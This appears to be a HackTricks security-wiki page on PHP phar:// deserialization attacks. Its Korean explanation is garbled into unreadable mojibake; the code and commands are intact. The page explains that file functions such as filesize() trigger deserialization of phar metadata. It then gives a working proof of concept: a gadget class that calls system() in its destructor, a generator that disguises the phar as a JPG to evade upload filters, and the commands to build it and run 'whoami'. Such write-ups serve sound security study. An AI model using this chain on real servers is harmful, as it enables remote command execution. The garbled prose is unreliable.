phar:// deserialization
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
Phar νμΌ(PHP Archive) νμΌμ μ§λ ¬νλ νμμΌλ‘ λ©ν λ°μ΄ν°λ₯Ό ν¬ν¨νκ³ μμΌλ―λ‘, νμ±ν λ μ΄ λ©νλ°μ΄ν°κ° μμ§λ ¬νλμ΄ PHP μ½λ λ΄μμ μμ§λ ¬ν μ·¨μ½μ μ μ μ©ν μ μμ΅λλ€.
μ΄ νΉμ±μ κ°μ₯ μ’μ μ μ **file_get_contents(), fopen(), file() λλ file_exists(), md5_file(), filemtime() λλ filesize()**μ κ°μ΄ PHP μ½λλ₯Ό νκ°νμ§ μλ PHP ν¨μλ₯Ό μ¬μ©νλλΌλ μ΄ μμ§λ ¬νκ° λ°μνλ€λ κ²μ λλ€.
λ°λΌμ, PHP μΉμ΄ phar:// νλ‘ν μ½μ μ¬μ©νμ¬ μμμ νμΌμ ν¬κΈ°λ₯Ό κ°μ Έμ€λ μν©μ μμν΄ λ³΄μμμ€. κ·Έλ¦¬κ³ μ½λ λ΄μμ λ€μκ³Ό μ μ¬ν ν΄λμ€λ₯Ό μ°Ύμ μ μμ΅λλ€:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
λΉμ μ λ‘λλ λ μ΄ ν΄λμ€λ₯Ό μ μ©νμ¬ μμμ λͺ λ Ήμ μ€ννλ phar νμΌμ μμ±ν μ μμ΅λλ€.
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
JPGμ λ§€μ§ λ°μ΄νΈ(\xff\xd8\xff)κ° phar νμΌμ μμ λΆλΆμ μΆκ°λμ΄ κ°λ₯ν νμΌ μ
λ‘λ μ νμ μ°ννλ λ°©λ²μ μ£Όλͺ©νμΈμ.test.phar νμΌμ λ€μκ³Ό κ°μ΄ μ»΄νμΌνμΈμ:
php --define phar.readonly=0 create_phar.php
κ·Έλ¦¬κ³ μ·¨μ½ν μ½λλ₯Ό μ
μ©νμ¬ whoami λͺ
λ Ήμ μ€νν©λλ€:
php vuln.php
References
https://blog.ripstech.com/2018/new-php-exploitation-technique/
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


